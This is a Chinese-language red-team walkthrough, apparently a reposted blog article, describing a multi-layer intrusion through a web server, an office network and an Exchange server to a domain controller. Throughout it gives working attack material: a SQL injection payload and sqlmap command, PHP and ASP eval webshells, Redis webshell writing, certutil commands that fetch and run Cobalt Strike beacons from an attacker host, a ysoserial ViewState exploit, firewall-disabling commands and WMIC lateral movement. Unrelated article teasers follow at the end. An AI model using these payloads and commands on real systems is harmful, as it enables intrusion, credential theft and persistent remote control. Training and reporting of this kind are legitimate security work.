红队攻防实战系列一之Cobalt Strike

news2024/12/27 13:10:19

他日若遂凌云志,敢笑黄巢不丈夫

本文首发于先知社区,原创作者即是本人

前言

在红队攻防中,需要我们拥有综合能力,不仅仅是web渗透的漏洞挖掘与利用,边界突破的方式有很多种,当然这需要我们拥有很强的意识,包括从web网站撕破口子,需要对各种漏洞的原理与利用了然于心,或者是通过社工钓鱼等方式,还需要我们拥有很强的代码功底,从代码的层面去分析问题,或者去写相关脚本进行利用,需要我们具有与杀软对抗的能力,需要我们熟悉web渗透,内网渗透,红队攻防的流程,进入内网之后,快速分析网络环境,以及自己所处的位置,找到拿到目标的最佳方法。

第一层 DMZ区

访问目标站点

在这里插入图片描述

端口扫描
nmap -sT xxx.xxx.xxx.xxx

在这里插入图片描述

目录扫描:

在这里插入图片描述

把它的备份文件下载到了本地,解压源码进行代码审计

代码审计拿密码

搜索请求类型:GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”

在这里插入图片描述

全局搜索这个关键点

在这里插入图片描述

d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin

在这里插入图片描述

搜索关键点:密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”

在这里插入图片描述

全局搜索这个方法名“mysqldatabak_down”

在这里插入图片描述

找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php

在这里插入图片描述

却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin

在这里插入图片描述

访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具

在这里插入图片描述

新建数据库,输入SQL文件

在这里插入图片描述

注意字符集是UTF-8

在这里插入图片描述

找到管理员账号密码进行登录,这里可以找到解密后的密码

在这里插入图片描述

SQL注入拿密码

hackbar构造payload:

http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

v_oid存在布尔盲注,为真的时候返回订单金额不符

在这里插入图片描述

为假的时候返回,订单未找到

在这里插入图片描述

请求包如下:

POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: close

v_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

保存成sql.txt

python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch

在这里插入图片描述

成功注入出账号和密码

代码审计拿shell

数据库备份邮箱拿shell

发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用

在这里插入图片描述

攻击地址:
http://xxx.xxx.xxx/
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell

在这里插入图片描述

如:');@eval($_POST[a]);('

在这里插入图片描述

连接地址:

http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php

密码:a

在这里插入图片描述

木马写入在

在这里插入图片描述

后台shell

构造payload:

http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>

漏洞利用

在这里插入图片描述

连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye

在这里插入图片描述

提权宝塔系统Bypass Disable Function

禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数,权限却是“system”,那就找找宝塔的配置文件、后台路径。
后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/

在这里插入图片描述

密码:C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj

在这里插入图片描述

宝塔的登录端口C:/BtSoft/panel/data/port.pl

在这里插入图片描述

8888
登录账号:C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)

在这里插入图片描述

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录
在这里插入图片描述

成功登录

在这里插入图片描述

进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数

在这里插入图片描述

成功执行命令

在这里插入图片描述

查看进程:tasklist

在这里插入图片描述

存在火绒

在这里插入图片描述

cs拿shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮,新建一个监听器,如图

在这里插入图片描述

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图

在这里插入图片描述

保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图

在这里插入图片描述

这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。

在这里插入图片描述

成功绕过火绒的防护,cs成功上线

在这里插入图片描述

注入进程

在这里插入图片描述

进行信息收集

抓取到hash

在这里插入图片描述

通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

!在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行

在这里插入图片描述

远程登陆

在这里插入图片描述

第二层 办公区

Earthworm穿透

上传EW(Earthworm)到C:/wwwroot/

在这里插入图片描述

服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090

在这里插入图片描述

探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24

在这里插入图片描述

192.168.59.4是存活的,我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379

在这里插入图片描述

连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx

在这里插入图片描述

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

在这里插入图片描述

代理蚁剑进行连接这个shell

在这里插入图片描述

连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis

在这里插入图片描述

并查看权限

在这里插入图片描述

利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下

在这里插入图片描述

成功进行提权

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马

在这里插入图片描述

对生成的exe文件进行免杀

在这里插入图片描述

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警

在这里插入图片描述

通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe

在这里插入图片描述

再通过提权工具进行执行

C:\ProgramData\xx.exe -i -c "beacon.exe"

在这里插入图片描述

此时查看cs,已成功上线

在这里插入图片描述

同样注入进程

进行信息收集

shell ipconfig

在这里插入图片描述

logonpasswords

在这里插入图片描述

查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

挂代理,通过之前上传的EW(Earthworm)到C:/wwwroot/
Proxifier配置

在这里插入图片描述

可以通过redis的shell进行操作添加用户,也可以使用cs添加用户

远程登陆

在这里插入图片描述

第三层 核心区

通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下

在这里插入图片描述

探测内网段存活
nbtscan.exe 10.10.10.0/24

在这里插入图片描述

代理出网,拿下邮服

此时绘制出整个目标网络拓扑图如下:

在这里插入图片描述

将ew上传到bt和redis

在这里插入图片描述

首先,在VPS上开启如下监听,将1080端口监听的流量都转发到本地的888端口(关掉防火墙,要能够相互访问)
ew.exe -s lcx_listen -l 1080 -e 888

在这里插入图片描述

然后在服务器B上执行如下命令,监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999

在这里插入图片描述

最后在服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999

在这里插入图片描述

以上命令都执行完之后,设置socks5代理为VPS的1080端口

在这里插入图片描述

即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue

在这里插入图片描述

对ex13进行攻击

nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389

在这里插入图片描述

蚂蚁剑可通过更改代理进行连接

在这里插入图片描述

在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件:

在这里插入图片描述

下载到本地,通过将两个pst导入outlook可以看到exchange的一个账号密码

在这里插入图片描述

登陆成功,访问https://10.10.10.209/ecp/default.aspx
获取viewstateuserkey

在这里插入图片描述

__VIEWSTATEGENERATOR=B97B4E27

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
将木马通过cs上传到redis服务器的redis目录下

在这里插入图片描述

使用exp执行payload:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy

在这里插入图片描述

生成的payload,进行url编码

在这里插入图片描述

拼接成攻击的链接,反弹shell,得到Exchange服务器的System权限的会话

https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx

此时页面会返回500错误

在这里插入图片描述

查看cs,已上线

在这里插入图片描述

同样迁移进程
或者下载后门文件到exchange

第三层 域控

拿下域控

读取到本地有dc账号记录,那就可以直接用wmic横向操作一波
Mimikatz抓取到dc的账号密码

在这里插入图片描述

在server-ex机器上使用自带的WMIC.exe执行命令

shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"

在这里插入图片描述

成功上线cs

在这里插入图片描述

同样迁移进程
同样添加用户
同样挂代理

远程登陆

在这里插入图片描述

总结

在红队攻防实战中,作为一名红队攻击成员,要做到从外网进行边界突破,进入内网,绕过层层杀软与防护,分析面临的情况与问题,最终拿下目标。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


​```https://www.freebuf.com/author/国服最强渗透掌控者)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1250739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(4)BUUCTF-web-[极客大挑战 2019]EasySQL1

前言&#xff1a; 觉得这个题目挺有意义的&#xff0c;因为最近在学数据库&#xff0c;但是不知道在现实中有什么应用&#xff0c;所以学起来也没有什么兴趣&#xff0c;做了这个题目&#xff0c;发现数据库还是挺有用处的&#xff0c;哈哈 知识点&#xff1a; mysql 中and和…

incast,拥塞控制,内存墙的秘密

数据中心 incast&#xff0c;广域网拥塞&#xff0c;内存墙都是一类问题。 我接触 incast 很久了&#xff0c;大多是帮忙查问题&#xff0c;也解过几例。 我记得有一次在业务几乎总是(在统计学上&#xff0c;几乎和总是属同义强调) tail latency 很大时&#xff0c;我建议在 …

【Python3】【力扣题】349. 两个数组的交集

【力扣题】题目描述&#xff1a; 【Python3】代码&#xff1a; 1、解题思路&#xff1a;集合的交集。两个数组都转为集合&#xff0c;获取集合的交集。 知识点&#xff1a;set(...)&#xff1a;转为集合&#xff0c;集合的元素不重复。 集合1.intersection(集合2)&#xff1a…

将 Hexo 部署到阿里云轻量服务器(保姆级教程)

将 Hexo 部署到阿里云轻量服务器(保姆级教程) 顺哥轻创 1 前言 作为有梦想的,有追求的程序员,有一个自己的个人博客简直就是必须品。你可以选择 wordpress 这种平台,直接使用,在任何地方只要有网络就能写博客。还可以选择 hexo 这种静态博客,但是发文章就没有那么随心…

基于opencv+ImageAI+tensorflow的智能动漫人物识别系统——深度学习算法应用(含python、JS、模型源码)+数据集(三)

目录 前言总体设计系统整体结构图系统流程图 运行环境爬虫模型训练实际应用 模块实现1. 数据准备1&#xff09;爬虫下载原始图片2&#xff09;手动筛选图片 2. 数据处理1&#xff09;切割得到人物脸部2&#xff09;重新命名处理后的图片3&#xff09;添加到数据集 3. 模型训练及…

webpack 打包优化

在vue.config.js中配置 下载 uglifyjs-webpack-plugin 包 const { defineConfig } require("vue/cli-service"); var path require("path");module.exports defineConfig({transpileDependencies: true,filenameHashing: false, // 去除Vue打包后.cs…

SSM手机资讯网站系统开发mysql数据库web结构java编程计算机网页源码eclipse项目

一、源码特点 SSM 手机资讯网站系统是一套完善的信息系统&#xff0c;结合springMVC框架完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模…

PHP 针对mysql 自动生成数据字典

PHP 针对mysql 自动生成数据字典 确保php 可以正常使用mysqli 扩展 这里还需要注意 数据库密码 如果密码中有特殊字符 如&#xff1a; 首先&#xff0c;我们需要了解MySQL中的特殊字符包括哪些。MySQL中的特殊字符主要包括以下几类&#xff1a; 1. 单引号&#xff08;&a…

【开源】基于Vue和SpringBoot的农家乐订餐系统

项目编号&#xff1a; S 043 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S043&#xff0c;文末获取源码。} 项目编号&#xff1a;S043&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用户2.2 管理员 三、系统展示四、核…

jvm优化之:OOM(out of memory)内存溢出

内存溢出 注意内存溢出不是内存泄漏&#xff01;&#xff01;这里主要是介绍如何用jdk自带的jmap工具导出进程堆空间快照。内存溢出&#xff1a; Out Of Memory&#xff0c;是指申请的堆内存空间不够用了&#xff0c;比如&#xff1a;你申请了10M空间&#xff0c;但是你要放12M…

鸿蒙开发-ArkTS 语言-循环渲染

鸿蒙开发-ArkTS 语言-状态管理 4. 渲染控制 对于 UI 渲染&#xff0c;可以基于数据结构选择一些内置方法&#xff08;例如&#xff1a;ForEach&#xff09;快速渲染 UI 结构。 4.1 if-else条件渲染 ArkTS提供了渲染控制的能力。条件渲染可根据应用的不同状态&#xff0c;使…

ORA-14452: 试图创建, 变更或删除正在使用的临时表中的索引

在编写一个test存储过程中出现一个错误报告:ORA-14452: 试图创建, 变更或删除正在使用的临时表中的索引,代码如下 create or replace PROCEDURE TMP_TRANSCRIPT AS str_sql varchar2(500);v_flag number:0; --标识 begin--判断临时表是否存在SELECT COUNT(*) into v_flag FROM…

【版本管理 | Git 】Git最佳实践系列(一) —— LFS .gitignore 最佳实践,确定不来看看?

&#x1f935;‍♂️ 个人主页: AI_magician &#x1f4e1;主页地址&#xff1a; 作者简介&#xff1a;CSDN内容合伙人&#xff0c;全栈领域优质创作者。 &#x1f468;‍&#x1f4bb;景愿&#xff1a;旨在于能和更多的热爱计算机的伙伴一起成长&#xff01;&#xff01;&…

华大基因基因检测产品发布,助力早发冠心病风险评估

冠状动脉性心脏病&#xff0c;简称冠心病。冠心病作为导致猝死的常见原因之一&#xff0c;近年来备受关注。早发冠心病是指冠心病发病年龄男性≤55岁&#xff0c;女性≤60岁。早发冠心病是一种发病时心肌损伤严重的冠心病&#xff0c;由于心肌缺血&#xff0c;还有可能会导致急…

基于C#实现双端队列

话说有很多数据结构都在玩组合拳&#xff0c;比如说&#xff1a;块状链表&#xff0c;块状数组&#xff0c;当然还有本篇的双端队列&#xff0c;是的&#xff0c;它就是栈和队列的组合体。 一、概念 我们知道普通队列是限制级的一端进&#xff0c;另一端出的 FIFO 形式&#…

类和对象(4)——补充内容+DateOJ题

Date类型的OJ 一&#xff0c;static成员例题 二&#xff0c;DateOJ题一&#xff0c;[计算日期到天数转换](https://www.nowcoder.com/practice/769d45d455fe40b385ba32f97e7bcded?tpId37&&tqId21296&rp1&ru/activity/oj&qru/ta/huawei/question-ranking)1…

Python 自动化用处太大了!|python自动整理文件,一键完成!

随着时代的发展及人工智能的到来&#xff0c;Python 自动化办公能力几乎已成为每个岗位的必备技能&#xff01; 而且到处可见的抖音、朋友圈铺天盖地宣传 Python 可以轻松达到办公自动化&#xff0c;并且学习没门槛&#xff0c;是真的吗&#xff1f; 我很负责的告诉大家&#…

数字化转型如何赋能企业实现数字化增值?

随着科技的不断发展&#xff0c;数字化转型已经成为了企业营销的重要趋势。数字化转型不仅可以提高企业的运营效率&#xff0c;还可以更好地满足消费者的需求&#xff0c;提升企业的市场竞争力。 一、数字化转型可以提高企业营销的精准性 在传统的企业营销中&#xff0c;营销人…

透过对话聊天聊网络tcp三次握手四次挥手

序 说起来网络&#xff0c;就让我想起的就是一张图。我在网上可以为所欲为&#xff0c;反正你又不能顺着网线来打我。接下来我们来详细说一下网络到底是怎么连接的。 TCP三次打招呼 首先我会用男女生之间的聊天方式&#xff0c;来举一个例子。 从tcp三次握手来说&#xff0c;…

GIT版本控制和常用命令使用介绍

GIT版本控制和常用命令使用介绍 1. 版本控制1.1 历史背景1.2 什么是版本控制1.3 常见版本控制工具1.4 版本控制的分类 2 Git介绍2.1 Git 工作流程2.2 基本概念2.3 文件的四种状态2.4 忽略文件2.5 Git命令2.5.1 查看本地git配置命令2.5.2 远程库信息查看命令2.5.3 分支交互命令2…